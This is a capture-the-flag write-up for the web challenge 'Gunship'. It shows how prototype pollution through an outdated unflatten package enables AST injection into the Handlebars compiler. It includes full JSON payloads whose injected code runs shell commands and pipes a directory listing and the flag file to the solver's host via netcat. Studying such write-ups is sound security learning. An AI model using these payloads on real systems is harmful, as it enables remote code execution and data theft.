A classmate was assigned with developing a website using a prototype-based language called Javascript. Now we have Gunship, a tribute page to the legendary synthwave band.. what could possibly go wrong?
Solver: davex
Category: web
Walktthrough
The first look at the challenge already hinted at a part of the solution. The title of the challenge webpage is
This hints that AST injections will be part of this challenge. Furthermore, the first look into the sourcecode of the challenge gave a huge hint for the solution
(source of routes/index.js
)
router.post('/api/submit', (req, res) => {
// unflatten seems outdated and a bit vulnerable to prototype pollution
// we sure hope so that po6ix doesn't pwn our puny app with his AST injection on template engines
const { artist } = unflatten(req.body);
console.log(artist);
if (artist.name.includes('Haigh') || artist.name.includes('Westaway') || artist.name.includes('Gingell')) {
return res.json({
'response': handlebars.compile('Hello {{ user }}, thank you for letting us know!')({ user: 'guest' })
});
} else {
return res.json({
'response': 'Please provide us with the full name of an existing member.'
});
}
});
Because of the hints in the comments of the route we looked up who po6ix
is and how his AST injection works. We immediately found the link [1] to his blog post which describes a bug in the here used handlebars template engine. The main bug he is describing lies in the handling of an input object with a type called Programm
which is not properly handled by the parser used in the handlebars package. The important thing is that because the given object looks already like an AST Object the parser would send it to the compiler of handlebars without any processing. The compiler handles a Programm
Object like this
accept: function accept(node) {
/* istanbul ignore next: Sanity code */
if (!this[node.type]) {
throw new _exception2['default']('Unknown type: ' + node.type, node);
}
this.sourceNode.unshift(node);
var ret = this[node.type](node);
this.sourceNode.shift();
return ret;
},
Program: function Program(program) {
console.log((new Error).stack)
this.options.blockParams.unshift(program.blockParams);
var body = program.body,
bodyLength = body.length;
for (var i = 0; i < bodyLength; i++) {
this.accept(body[i]);
}
this.options.blockParams.shift();
this.isSimple = bodyLength === 1;
this.blockParams = program.blockParams ? program.blockParams.length : 0;
return this;
}
You can the that the objects of the body attribute will be sent to the accept
function of the compiler. The accept
function will call this[node.type]
of the compiler which leads to the fact that the body attribute is used for the constructing function.
It turns out that the value of the params of the send Programm
object will be part of the return statement of the main function of the created template, e.g.
return ((stack1 = (lookupProperty(helpers, "undefined") || (depth0 && lookupProperty(depth0, "undefined")) || container.hooks.helperMissing).call(depth0 != null ? depth0 : (container.nullContext || {}), OUR_VALUE_OF_THE_OBJECT, {
"name": "undefined",
"hash": {},
"data": data,
"loc": {
"start": 0,
"end": 0
}
})) != null ? stack1 : "");
This means if we could inject some valid JS-Code here the code will actually be executed before it is gonna be returned.
But of course, you cannot just simply create an object on the server-side of type Programm
. For this, the prototype pollution [2] vulnerability of unflatten
takes an important part. If we send a JSON with __proto__
identifier to the unflatten function it will create us an object of a type and body (which contains the param values) we can freely define.
With the example given by the blog post of po6ix
we could build our own exploit with the following steps.
Step 0
We looked up through all the challenge files we received. We saw that the entry point of the Docker Image moves the flag and set it to a random name
#!/bin/ash
# Secure entrypoint
chmod 600 /entrypoint.sh
# Generate random flag filename
FLAG=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 5 | head -n 1)
mv /app/flag /app/flag$FLAG
exec "$@"
This means we first need to get the name of the flag file before we can read the flag.
The following JSON Requests we simply sent with postman to our Docker address and the path /api/submit
.
Step 1
We need to inject a Programm
object to the backend without calling the handlebars.compile()
function. We can avoid the compile
function by sending an invalid artist.name
. As described above the value of our object in the body will be executed in the return statement. Because of this we simply call a child process which will send via netcat
the directory listing of the /app/
folder to our server.
{
"artist.name": "InvalidName",
"__proto__.type": "Program",
"__proto__.body":[
{
"type":"MustacheStatement",
"path": 0,
"params":[
{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`/bin/sh -c 'ls -l /app/ | nc myip 1338'`)"
}
],
"loc":{
"start": 0,
"end": 0
}
}
]
}
Step 2
To trigger now the handlebars
Compiler we simply can send a valid artist.name
.
{
"artist.name": "Haigh"
}
We waited for a response on our server (listening on port 1338) and received the folder structure
Step 3
Now we have the wanted flag filename and we can repeat Step 1 with a modified bash command
{
"artist.name": "InvalidName",
"__proto__.type": "Program",
"__proto__.body":[
{
"type":"MustacheStatement",
"path": 0,
"params":[
{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`/bin/sh -c 'cat /app/flagzqzF2 | nc myip 1338'`)"
}
],
"loc":{
"start": 0,
"end": 0
}
}
]
}
We now just need to trigger the handlebars.compile
function with the same JSON as in Step 2.
We received the following message on our server
HTB{wh3n_l1f3_g1v3s_y0u_p6_st4rt_p0llut1ng_w1th_styl3}